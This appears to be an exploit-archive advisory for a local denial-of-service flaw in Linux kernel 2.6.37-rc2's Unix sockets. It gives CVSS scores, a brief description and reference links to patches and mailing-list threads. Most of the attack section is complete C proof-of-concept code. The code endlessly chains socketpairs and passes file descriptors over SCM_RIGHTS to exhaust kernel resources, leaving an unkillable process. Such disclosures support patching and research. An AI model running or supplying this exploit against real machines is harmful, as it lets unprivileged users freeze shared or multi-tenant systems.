Linux Kernel 2.6.37:rc2 Unix Sockets Local Denial of Service

2010-12-01 / 2010-12-02
Credit: Key Night
Risk: Low
Local: Yes
Remote: No
CWE: CWE-399


CVSS Base Score: 4.9/10
Impact Subscore: 6.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( See source attached. Process become in state 'Running' but not killalble via kill -KILL. eat 100% CPU, eat all available internal file descriptors in kernel :( -- Segmentation fault #include <sys/socket.h> #include <sys/un.h> static int send_fd (int unix_fd, int fd) { struct msghdr msgh; struct cmsghdr *cmsg; char buf[CMSG_SPACE (sizeof (fd))]; memset (&msgh, 0, sizeof (msgh)); memset (buf, 0, sizeof (buf)); msgh.msg_control = buf; msgh.msg_controllen = sizeof (buf); cmsg = CMSG_FIRSTHDR (&msgh); cmsg->cmsg_len = CMSG_LEN (sizeof (fd)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; msgh.msg_controllen = cmsg->cmsg_len; memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd)); return sendmsg (unix_fd, &msgh, 0); } int main () { int fd[2], ff[2]; int target; if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1) return 1; for (;;) { if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1) return 2; send_fd (ff[0], fd[0]); send_fd (ff[0], fd[1]); close (fd[1]); close (fd[0]); fd[0] = ff[0]; fd[1] = ff[1]; } }

References:

https://bugzilla.redhat.com/show_bug.cgi?id=656756
http://www.openwall.com/lists/oss-security/2010/11/24/10
http://www.kernel.org/pub/linux/kernel/v2.6/next/patch-v2.6.37-rc3-next-20101125.bz2
http://marc.info/?l=linux-netdev&m=129059035929046&w=2
http://lkml.org/lkml/2010/11/23/450
http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commit;h=9915672d41273f5b77f1b3c29b391ffb7732b84b
http://www.securityfocus.com/bid/45037
http://www.openwall.com/lists/oss-security/2010/11/24/2
http://www.exploit-db.com/exploits/15622/
http://lkml.org/lkml/2010/11/25/8
http://lkml.org/lkml/2010/11/23/395


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